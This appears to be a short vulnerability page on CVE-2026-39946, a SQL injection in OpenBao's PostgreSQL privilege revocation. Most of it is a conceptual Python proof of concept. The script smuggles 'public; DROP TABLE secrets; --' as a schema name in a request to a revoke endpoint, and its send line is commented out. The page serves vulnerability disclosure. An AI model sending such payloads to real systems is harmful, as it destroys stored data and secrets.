CVE-2026-39946 OpenBao PostgreSQL SQL注入漏洞

# Conceptual PoC for CVE-2026-39946 # This script demonstrates how a malicious schema name could trigger SQL injection # during the privilege revocation process in OpenBao. import requests TARGET_URL = "http://openbao.example.com:8200/v1/database/roles/my-role/revoke" ROOT_TOKEN = "s.1234567890abcdef" # Malicious payload designed to escape the SQL query context # e.g., 'public; DROP TABLE secrets; --' malicious_schema_name = "public; DROP TABLE secrets; --" headers = { "X-Vault-Token": ROOT_TOKEN, "Content-Type": "application/json" } payload = { "name": "my-role", # The backend fails to quote this value, leading to injection "schema": malicious_schema_name } # Sending the request to trigger the vulnerability print(f"Attempting to revoke privileges with schema: {malicious_schema_name}") # response = requests.post(TARGET_URL, json=payload, headers=headers) # If vulnerable, the database executes the injected SQL statement.